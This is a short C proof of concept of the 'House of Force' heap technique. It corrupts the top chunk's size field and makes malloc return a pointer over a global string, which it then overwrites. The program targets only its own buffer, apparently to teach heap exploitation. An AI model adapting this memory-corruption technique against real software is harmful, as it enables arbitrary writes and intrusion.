#include<stdio.h>
#include<stdlib.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main()
{
    unsigned long *p1 = malloc(0xf0);
    unsigned long *top = (unsigned long*)( (unsigned char*)p1 + 0xf0);

    //overwrite the size of top chunk
    *(top+1) = -1;

    unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)top;
    malloc(evil_size);

    unsigned long *victim = malloc(0x100);

    printf("The victim pointer: %p\n", victim);

     // Now we simulate the overwriting of bss_var data by writing through the victim pointer.
    strcpy(victim, "        new string that overwrites the old.");
    printf("Modified bss_var: %s\n", bss_var);



    return 0;
}